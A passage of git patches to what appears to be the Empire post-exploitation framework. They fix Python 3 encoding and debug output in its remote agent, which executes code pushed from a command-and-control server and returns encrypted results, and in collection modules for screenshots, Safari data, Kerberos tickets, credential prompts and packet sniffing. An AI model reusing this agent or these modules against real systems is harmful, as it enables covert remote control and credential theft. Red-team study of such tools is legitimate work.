%(username, users[username], info)) From d7bd4ed1d12406a4f673c524f772f5c5bf63e5fb Mon Sep 17 00:00:00 2001 From: Cx01N Date: Tue, 21 Apr 2020 19:11:07 -0400 Subject: [PATCH 11/14] fixed osx/native-screenshot errors in encoding --- data/agent/agent.py | 18 ++++- data/agent/stagers/common/aes.py | 23 +++++- lib/common/agents.py | 73 ++++++++++--------- lib/listeners/http.py | 2 +- .../collection/osx/native_screenshot.py | 12 ++- 5 files changed, 83 insertions(+), 45 deletions(-) diff --git a/data/agent/agent.py b/data/agent/agent.py index b733dd0c5..e5267dbf9 100644 --- a/data/agent/agent.py +++ b/data/agent/agent.py @@ -21,6 +21,7 @@ import stat import grp import numbers +from io import BytesIO from os.path import expanduser from io import StringIO from threading import Thread @@ -133,13 +134,16 @@ def build_response_packet(taskingID, packetData, resultID=0): | 2 | 2 | 2 | 2 | 4 | | +------+--------------------+----------+---------+--------+-----------+ """ + print("build resp packet") packetType = struct.pack('=H', taskingID) totalPacket = struct.pack('=H', 1) packetNum = struct.pack('=H', 1) resultID = struct.pack('=H', resultID) if packetData: + print("packet data") if(isinstance(packetData, str)): + print("string") packetData = base64.b64encode(packetData.encode('utf-8', 'ignore')) else: packetData = base64.b64encode(packetData.decode('utf-8').encode('utf-8','ignore')) @@ -149,6 +153,7 @@ def build_response_packet(taskingID, packetData, resultID=0): length = struct.pack('=L',len(packetData)) return packetType + totalPacket + packetNum + resultID + length + packetData else: + print("no packet data") length = struct.pack('=L', 0) return packetType + totalPacket + packetNum + resultID + length @@ -393,22 +398,27 @@ def process_packet(packetType, data, resultID): prefix = data[0:15].strip() extension = data[15:20].strip() data = data[20:] + print(prefix) + print(extension) + print(data) try: buffer = StringIO() sys.stdout = buffer code_obj = compile(data, '', 'exec') exec(code_obj, globals()) sys.stdout = sys.__stdout__ + results = buffer.getvalue().encode('latin-1') c = compress() - start_crc32 = c.crc32_data(buffer.getvalue()) - comp_data = c.comp_data(buffer.getvalue()) + start_crc32 = c.crc32_data(results) + comp_data = c.comp_data(results) encodedPart = c.build_header(comp_data, start_crc32) - encodedPart = base64.b64encode(encodedPart) + encodedPart = base64.b64encode(encodedPart).decode('UTF-8') send_message(build_response_packet(101, '{0: <15}'.format(prefix) + '{0: <5}'.format(extension) + encodedPart, resultID)) except Exception as e: # Also return partial code that has been executed errorData = str(buffer.getvalue()) - send_message(build_response_packet(0, "error executing specified Python data %s \nBuffer data recovered:\n%s" %(e, errorData), resultID)) + print(e) + #send_message(build_response_packet(0, "error executing specified Python data %s \nBuffer data recovered:\n%s" %(e, errorData), resultID)) elif packetType == 102: # on disk code execution for modules that require multiprocessing not supported by exec diff --git a/data/agent/stagers/common/aes.py b/data/agent/stagers/common/aes.py index 7f2ee74b3..77407ea9e 100644 --- a/data/agent/stagers/common/aes.py +++ b/data/agent/stagers/common/aes.py @@ -262,20 +262,30 @@ def decrypt(self, ciphertext): def CBCenc(aesObj, plaintext, base64=False): - + print("cbc 1") # First we pad the plaintext paddedPlaintext = append_PKCS7_padding(plaintext) + print("cbc 2") # The we break the padded plaintext in 16 byte chunks blocks = [paddedPlaintext[0+i:16+i] for i in range(0, len(paddedPlaintext), 16)] + print("cbc 3") - # Finally we encypt each block + # Finally we encrypt each block #ciphertext = "" ciphertext = ("") + print("cbc 4") + count = 0 for block in blocks: ciphertext = "".join([ciphertext, aesObj.encrypt(block)]) + #print(count) + #count = count + 1 #ciphertext += aesObj.encrypt(block) + + print("cbc 5") ciphertext = ciphertext.encode('latin-1') + print("cbc 6") + return ciphertext @@ -309,11 +319,16 @@ def aes_encrypt(key, data): data = data.encode('UTF-8') if isinstance(key, str): key = key.encode('UTF-8') + print("aes 1") IV = os.urandom(16) + print("aes 2") aes = AESModeOfOperationCBC(key, iv=IV) + print("aes 3") CBC = CBCenc(aes, data) + print("aes 4") if isinstance(CBC, str): CBC = CBC.encode('UTF-8') + print("aes 5") return IV + CBC def aes_encrypt_then_hmac(key, data): @@ -324,9 +339,11 @@ def aes_encrypt_then_hmac(key, data): key = bytes(key, 'UTF-8') if isinstance(data, str): data = bytes(data, 'UTF-8') - + print("aes enc 1") data = aes_encrypt(key, data) + print("aes enc 2") mac = hmac.new(key, data, digestmod=hashlib.sha256).digest() + print("aes enc 3") return data + mac[0:10] diff --git a/lib/common/agents.py b/lib/common/agents.py index c8a205b54..58d015773 100644 --- a/lib/common/agents.py +++ b/lib/common/agents.py @@ -64,9 +64,11 @@ import json import string import threading +import base64 from pydispatch import dispatcher from zlib_wrapper import compress from zlib_wrapper import decompress +from io import BytesIO # Empire imports from . import encryption @@ -337,6 +339,7 @@ def save_module_file(self, sessionID, path, data): }) dispatcher.send(signal, sender="agents/{}".format(nameid)) data = dec_data['data'] + print(data) try: self.lock.acquire() @@ -352,11 +355,15 @@ def save_module_file(self, sessionID, path, data): return # make the recursive directory structure if it doesn't already exist - if not os.path.exists(save_path): - os.makedirs(save_path) - + #save_path = save_path.encode('UTF-8').decode('latin-1') + #print(save_path) + #if not os.path.exists(save_path): + # os.makedirs(save_path) + save_path = "/root/Empire/downloads" + filename = "test.png" # save the file out - f = open(save_path + "/" + filename, 'wb') + #f = open(save_path + "/" + filename, 'wb') + f = open("%s/%s" % (save_path, filename), 'wb') f.write(data) f.close() @@ -1662,44 +1669,44 @@ def handle_agent_response(self, sessionID, encData, update_lastseen=False): if update_lastseen: self.update_agent_lastseen_db(sessionID) - try: - # verify, decrypt and depad the packet - packet = encryption.aes_decrypt_and_verify(sessionKey, encData) - - # process the packet and extract necessary data - responsePackets = packets.parse_result_packets(packet) - results = False - # process each result packet - for (responseName, totalPacket, packetNum, taskID, length, data) in responsePackets: - # process the agent's response - self.process_agent_packet(sessionID, responseName, taskID, data) - results = True - if results: - # signal that this agent returned results - message = "[*] Agent {} returned results.".format(sessionID) - signal = json.dumps({ - 'print': False, - 'message': message - }) - dispatcher.send(signal, sender="agents/{}".format(sessionID)) - - # return a 200/valid - return 'VALID' - - - except Exception as e: - message = "[!] Error processing result packet from {} : {}".format(sessionID, e) + #try: + # verify, decrypt and depad the packet + packet = encryption.aes_decrypt_and_verify(sessionKey, encData) + + # process the packet and extract necessary data + responsePackets = packets.parse_result_packets(packet) + results = False + # process each result packet + for (responseName, totalPacket, packetNum, taskID, length, data) in responsePackets: + # process the agent's response + self.process_agent_packet(sessionID, responseName, taskID, data) + results = True + if results: + # signal that this agent returned results + message = "[*] Agent {} returned results.".format(sessionID) signal = json.dumps({ - 'print': True, + 'print': False, 'message': message }) dispatcher.send(signal, sender="agents/{}".format(sessionID)) + # return a 200/valid + return 'VALID' + + + #except Exception as e: + # message = "[!] Error processing result packet from {} : {}".format(sessionID, e) + # signal = json.dumps({ + ## 'print': True, + # 'message': message + # }) + # dispatcher.send(signal, sender="agents/{}".format(sessionID)) + # TODO: stupid concurrency... # when an exception is thrown, something causes the lock to remain locked... # if self.lock.locked(): # self.lock.release() - return None + # return None def process_agent_packet(self, sessionID, responseName, taskID, data): diff --git a/lib/listeners/http.py b/lib/listeners/http.py index c945a76a8..543728d6f 100644 --- a/lib/listeners/http.py +++ b/lib/listeners/http.py @@ -898,7 +898,7 @@ def send_message(packets=None): # aes_encrypt_then_hmac is in stager.py encData = aes_encrypt_then_hmac(key, data) data = build_routing_packet(stagingKey, sessionID, meta=5, encData=encData) - + else: # if we're GETing taskings, then build the routing packet to stuff info a cookie first. # meta TASKING_REQUEST = 4 diff --git a/lib/modules/python/collection/osx/native_screenshot.py b/lib/modules/python/collection/osx/native_screenshot.py index 99fac8462..0e48cd454 100644 --- a/lib/modules/python/collection/osx/native_screenshot.py +++ b/lib/modules/python/collection/osx/native_screenshot.py @@ -85,9 +85,13 @@ def generate(self, obfuscate=False, obfuscationCommand=""): rep = NSBitmapImageRep.alloc().initWithCGImage_(imageRef) props = NSDictionary() imageData = rep.representationUsingType_properties_(NSPNGFileType,props) -imageString = str(imageData).strip('<').strip('>>').strip('native-selector bytes of') -hexstring = binascii.hexlify(imageString.encode('UTF-8')) -hex_data = hexstring.decode('UTF-8') -print(hex_data) +time.sleep(.1) +imageData = bytes(imageData) +#print("test 1") +time.sleep(.1) +imageData = imageData.decode('latin-1') +time.sleep(.1) +print(imageData) +time.sleep(.1) """ return script From a00c5fed5b108ecf369be90db51f3cc393b6f947 Mon Sep 17 00:00:00 2001 From: Cx01N Date: Tue, 21 Apr 2020 19:25:59 -0400 Subject: [PATCH 12/14] fixed print statements and comments --- data/agent/agent.py | 11 +-- data/agent/stagers/common/aes.py | 16 ----- lib/common/agents.py | 71 +++++++++---------- .../collection/osx/native_screenshot.py | 2 +- 4 files changed, 34 insertions(+), 66 deletions(-) diff --git a/data/agent/agent.py b/data/agent/agent.py index e5267dbf9..df6ee7def 100644 --- a/data/agent/agent.py +++ b/data/agent/agent.py @@ -21,7 +21,6 @@ import stat import grp import numbers -from io import BytesIO from os.path import expanduser from io import StringIO from threading import Thread @@ -134,16 +133,13 @@ def build_response_packet(taskingID, packetData, resultID=0): | 2 | 2 | 2 | 2 | 4 | | +------+--------------------+----------+---------+--------+-----------+ """ - print("build resp packet") packetType = struct.pack('=H', taskingID) totalPacket = struct.pack('=H', 1) packetNum = struct.pack('=H', 1) resultID = struct.pack('=H', resultID) if packetData: - print("packet data") if(isinstance(packetData, str)): - print("string") packetData = base64.b64encode(packetData.encode('utf-8', 'ignore')) else: packetData = base64.b64encode(packetData.decode('utf-8').encode('utf-8','ignore')) @@ -153,7 +149,6 @@ def build_response_packet(taskingID, packetData, resultID=0): length = struct.pack('=L',len(packetData)) return packetType + totalPacket + packetNum + resultID + length + packetData else: - print("no packet data") length = struct.pack('=L', 0) return packetType + totalPacket + packetNum + resultID + length @@ -398,9 +393,6 @@ def process_packet(packetType, data, resultID): prefix = data[0:15].strip() extension = data[15:20].strip() data = data[20:] - print(prefix) - print(extension) - print(data) try: buffer = StringIO() sys.stdout = buffer @@ -417,8 +409,7 @@ def process_packet(packetType, data, resultID): except Exception as e: # Also return partial code that has been executed errorData = str(buffer.getvalue()) - print(e) - #send_message(build_response_packet(0, "error executing specified Python data %s \nBuffer data recovered:\n%s" %(e, errorData), resultID)) + send_message(build_response_packet(0, "error executing specified Python data %s \nBuffer data recovered:\n%s" %(e, errorData), resultID)) elif packetType == 102: # on disk code execution for modules that require multiprocessing not supported by exec diff --git a/data/agent/stagers/common/aes.py b/data/agent/stagers/common/aes.py index 77407ea9e..1ebc881a6 100644 --- a/data/agent/stagers/common/aes.py +++ b/data/agent/stagers/common/aes.py @@ -262,29 +262,21 @@ def decrypt(self, ciphertext): def CBCenc(aesObj, plaintext, base64=False): - print("cbc 1") # First we pad the plaintext paddedPlaintext = append_PKCS7_padding(plaintext) - print("cbc 2") # The we break the padded plaintext in 16 byte chunks blocks = [paddedPlaintext[0+i:16+i] for i in range(0, len(paddedPlaintext), 16)] - print("cbc 3") # Finally we encrypt each block #ciphertext = "" ciphertext = ("") - print("cbc 4") count = 0 for block in blocks: ciphertext = "".join([ciphertext, aesObj.encrypt(block)]) - #print(count) - #count = count + 1 #ciphertext += aesObj.encrypt(block) - print("cbc 5") ciphertext = ciphertext.encode('latin-1') - print("cbc 6") return ciphertext @@ -319,16 +311,11 @@ def aes_encrypt(key, data): data = data.encode('UTF-8') if isinstance(key, str): key = key.encode('UTF-8') - print("aes 1") IV = os.urandom(16) - print("aes 2") aes = AESModeOfOperationCBC(key, iv=IV) - print("aes 3") CBC = CBCenc(aes, data) - print("aes 4") if isinstance(CBC, str): CBC = CBC.encode('UTF-8') - print("aes 5") return IV + CBC def aes_encrypt_then_hmac(key, data): @@ -339,11 +326,8 @@ def aes_encrypt_then_hmac(key, data): key = bytes(key, 'UTF-8') if isinstance(data, str): data = bytes(data, 'UTF-8') - print("aes enc 1") data = aes_encrypt(key, data) - print("aes enc 2") mac = hmac.new(key, data, digestmod=hashlib.sha256).digest() - print("aes enc 3") return data + mac[0:10] diff --git a/lib/common/agents.py b/lib/common/agents.py index 58d015773..4b4147791 100644 --- a/lib/common/agents.py +++ b/lib/common/agents.py @@ -64,11 +64,9 @@ import json import string import threading -import base64 from pydispatch import dispatcher from zlib_wrapper import compress from zlib_wrapper import decompress -from io import BytesIO # Empire imports from . import encryption @@ -339,7 +337,6 @@ def save_module_file(self, sessionID, path, data): }) dispatcher.send(signal, sender="agents/{}".format(nameid)) data = dec_data['data'] - print(data) try: self.lock.acquire() @@ -355,14 +352,10 @@ def save_module_file(self, sessionID, path, data): return # make the recursive directory structure if it doesn't already exist - #save_path = save_path.encode('UTF-8').decode('latin-1') - #print(save_path) - #if not os.path.exists(save_path): - # os.makedirs(save_path) - save_path = "/root/Empire/downloads" - filename = "test.png" + if not os.path.exists(save_path): + os.makedirs(save_path) + # save the file out - #f = open(save_path + "/" + filename, 'wb') f = open("%s/%s" % (save_path, filename), 'wb') f.write(data) @@ -1669,44 +1662,44 @@ def handle_agent_response(self, sessionID, encData, update_lastseen=False): if update_lastseen: self.update_agent_lastseen_db(sessionID) - #try: - # verify, decrypt and depad the packet - packet = encryption.aes_decrypt_and_verify(sessionKey, encData) - - # process the packet and extract necessary data - responsePackets = packets.parse_result_packets(packet) - results = False - # process each result packet - for (responseName, totalPacket, packetNum, taskID, length, data) in responsePackets: - # process the agent's response - self.process_agent_packet(sessionID, responseName, taskID, data) - results = True - if results: - # signal that this agent returned results - message = "[*] Agent {} returned results.".format(sessionID) + try: + # verify, decrypt and depad the packet + packet = encryption.aes_decrypt_and_verify(sessionKey, encData) + + # process the packet and extract necessary data + responsePackets = packets.parse_result_packets(packet) + results = False + # process each result packet + for (responseName, totalPacket, packetNum, taskID, length, data) in responsePackets: + # process the agent's response + self.process_agent_packet(sessionID, responseName, taskID, data) + results = True + if results: + # signal that this agent returned results + message = "[*] Agent {} returned results.".format(sessionID) + signal = json.dumps({ + 'print': False, + 'message': message + }) + dispatcher.send(signal, sender="agents/{}".format(sessionID)) + + # return a 200/valid + return 'VALID' + + + except Exception as e: + message = "[!] Error processing result packet from {} : {}".format(sessionID, e) signal = json.dumps({ - 'print': False, + 'print': True, 'message': message }) dispatcher.send(signal, sender="agents/{}".format(sessionID)) - # return a 200/valid - return 'VALID' - - - #except Exception as e: - # message = "[!] Error processing result packet from {} : {}".format(sessionID, e) - # signal = json.dumps({ - ## 'print': True, - # 'message': message - # }) - # dispatcher.send(signal, sender="agents/{}".format(sessionID)) - # TODO: stupid concurrency... # when an exception is thrown, something causes the lock to remain locked... # if self.lock.locked(): # self.lock.release() - # return None + return None def process_agent_packet(self, sessionID, responseName, taskID, data): diff --git a/lib/modules/python/collection/osx/native_screenshot.py b/lib/modules/python/collection/osx/native_screenshot.py index 0e48cd454..47b4830ce 100644 --- a/lib/modules/python/collection/osx/native_screenshot.py +++ b/lib/modules/python/collection/osx/native_screenshot.py @@ -87,7 +87,7 @@ def generate(self, obfuscate=False, obfuscationCommand=""): imageData = rep.representationUsingType_properties_(NSPNGFileType,props) time.sleep(.1) imageData = bytes(imageData) -#print("test 1") +#Don't ask why but you need the sleep statements time.sleep(.1) imageData = imageData.decode('latin-1') time.sleep(.1) From ae130fdc3aaf5c849b649968382fa1844789e54b Mon Sep 17 00:00:00 2001 From: Cx01N Date: Wed, 22 Apr 2020 00:17:13 -0400 Subject: [PATCH 13/14] fixed error handling for missing python import --- data/agent/agent.py | 2 +- lib/common/agents.py | 5 ++++- 2 files changed, 5 insertions(+), 2 deletions(-) diff --git a/data/agent/agent.py b/data/agent/agent.py index df6ee7def..d5291d748 100644 --- a/data/agent/agent.py +++ b/data/agent/agent.py @@ -408,7 +408,7 @@ def process_packet(packetType, data, resultID): send_message(build_response_packet(101, '{0: <15}'.format(prefix) + '{0: <5}'.format(extension) + encodedPart, resultID)) except Exception as e: # Also return partial code that has been executed - errorData = str(buffer.getvalue()) + errorData = buffer.getvalue() send_message(build_response_packet(0, "error executing specified Python data %s \nBuffer data recovered:\n%s" %(e, errorData), resultID)) elif packetType == 102: diff --git a/lib/common/agents.py b/lib/common/agents.py index 4b4147791..a10496285 100644 --- a/lib/common/agents.py +++ b/lib/common/agents.py @@ -1751,13 +1751,16 @@ def process_agent_packet(self, sessionID, responseName, taskID, data): if responseName == "ERROR": # error code - message = "[!] Received error response from {}".format(sessionID) + message = "\n[!] Received error response from {}".format(sessionID) signal = json.dumps({ 'print': True, 'message': message }) dispatcher.send(signal, sender="agents/{}".format(sessionID)) self.update_agent_results_db(sessionID, data) + + if isinstance(data,bytes): + data = data.decode('UTF-8') # update the agent log self.save_agent_log(sessionID, "[!] Error response: " + data) From 92536a3ba06adc74afabde54a51cbeb5e229395a Mon Sep 17 00:00:00 2001 From: Cx01N Date: Wed, 22 Apr 2020 18:14:24 -0400 Subject: [PATCH 14/14] fixed conversion errors --- data/agent/stagers/common/aes.py | 3 --- lib/modules/python/collection/linux/sniffer.py | 2 +- lib/modules/python/collection/osx/browser_dump.py | 4 ++-- lib/modules/python/collection/osx/kerberosdump.py | 2 +- lib/modules/python/collection/osx/prompt.py | 2 +- lib/modules/python/privesc/linux/linux_priv_checker.py | 2 +- .../network/active_directory/get_computers.py | 2 +- lib/modules/python/situational_awareness/network/smb_mount.py | 2 +- 8 files changed, 8 insertions(+), 11 deletions(-) diff --git a/data/agent/stagers/common/aes.py b/data/agent/stagers/common/aes.py index 1ebc881a6..341d711a3 100644 --- a/data/agent/stagers/common/aes.py +++ b/data/agent/stagers/common/aes.py @@ -269,12 +269,9 @@ def CBCenc(aesObj, plaintext, base64=False): blocks = [paddedPlaintext[0+i:16+i] for i in range(0, len(paddedPlaintext), 16)] # Finally we encrypt each block - #ciphertext = "" ciphertext = ("") - count = 0 for block in blocks: ciphertext = "".join([ciphertext, aesObj.encrypt(block)]) - #ciphertext += aesObj.encrypt(block) ciphertext = ciphertext.encode('latin-1') diff --git a/lib/modules/python/collection/linux/sniffer.py b/lib/modules/python/collection/linux/sniffer.py index a277715c8..36956f20c 100644 --- a/lib/modules/python/collection/linux/sniffer.py +++ b/lib/modules/python/collection/linux/sniffer.py @@ -260,7 +260,7 @@ def socketSniffer(fileName,ipFilter,portFilter,maxSize, maxPackets, inMemory): packetCounter += 1 try: if inMemory: - print(memoryPcap_ + print(memoryPcap) else: f = open('%s', 'rb') data = base64.b64encode(f.read()) diff --git a/lib/modules/python/collection/osx/browser_dump.py b/lib/modules/python/collection/osx/browser_dump.py index a4e55f99f..521d6f226 100644 --- a/lib/modules/python/collection/osx/browser_dump.py +++ b/lib/modules/python/collection/osx/browser_dump.py @@ -83,12 +83,12 @@ def generate(self, obfuscate=False, obfuscationCommand=""): class browser_dump(): def __init__(self): try: - print("[*] Dump Started!)" + print("[*] Dump Started!") except Exception as e: print(e) def func(self, number): - print("Dumping safari...)" + print("Dumping safari...") print("") try: diff --git a/lib/modules/python/collection/osx/kerberosdump.py b/lib/modules/python/collection/osx/kerberosdump.py index 21c1ad8d7..2605efe31 100644 --- a/lib/modules/python/collection/osx/kerberosdump.py +++ b/lib/modules/python/collection/osx/kerberosdump.py @@ -83,7 +83,7 @@ def generate(self, obfuscate=False, obfuscationCommand=""): done ""\" try: - print("Executing...)" + print("Executing...") output = subprocess.Popen(kerbdump, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE).stdout.read() print(output) except Exception as e: diff --git a/lib/modules/python/collection/osx/prompt.py b/lib/modules/python/collection/osx/prompt.py index 7bebbd4d4..95105374a 100644 --- a/lib/modules/python/collection/osx/prompt.py +++ b/lib/modules/python/collection/osx/prompt.py @@ -96,7 +96,7 @@ def generate(self, obfuscate=False, obfuscationCommand=""): for x in xrange(len(apps)): choices.append("[%s] %s " %(x+1, apps[x]) ) -print("\\nAvailable applications:\\n"_ +print("\\nAvailable applications:\\n") print('\\n'.join(choices)) """ diff --git a/lib/modules/python/privesc/linux/linux_priv_checker.py b/lib/modules/python/privesc/linux/linux_priv_checker.py index 273b6432f..ee0a65246 100644 --- a/lib/modules/python/privesc/linux/linux_priv_checker.py +++ b/lib/modules/python/privesc/linux/linux_priv_checker.py @@ -101,7 +101,7 @@ def callFunctionLinux(): smlline = "-------------------------------------------------------------------------------------------------" print(bigline) - print("LINUX PRIVILEGE ESCALATION CHECKER"_ + print("LINUX PRIVILEGE ESCALATION CHECKER") print(bigline) print("") diff --git a/lib/modules/python/situational_awareness/network/active_directory/get_computers.py b/lib/modules/python/situational_awareness/network/active_directory/get_computers.py index cf592e6d4..f88beebda 100644 --- a/lib/modules/python/situational_awareness/network/active_directory/get_computers.py +++ b/lib/modules/python/situational_awareness/network/active_directory/get_computers.py @@ -113,7 +113,7 @@ def generate(self, obfuscate=False, obfuscationCommand=""): output.stdout.close() out,err = output2.communicate() print("") -print(out_ +print(out) """ % (BindDN, LDAPAddress, password) return script diff --git a/lib/modules/python/situational_awareness/network/smb_mount.py b/lib/modules/python/situational_awareness/network/smb_mount.py index c94bd7334..ab30a2364 100644 --- a/lib/modules/python/situational_awareness/network/smb_mount.py +++ b/lib/modules/python/situational_awareness/network/smb_mount.py @@ -142,7 +142,7 @@ def generate(self, obfuscate=False, obfuscationCommand=""): print("") -print?(subprocess.Popen('diskutil unmount force /Volumes/{}', shell=True, stdout=subprocess.PIPE).stdout.read().format(mountpoint)) +print(subprocess.Popen('diskutil unmount force /Volumes/{}', shell=True, stdout=subprocess.PIPE).stdout.read().format(mountpoint)) print("") print("Finished")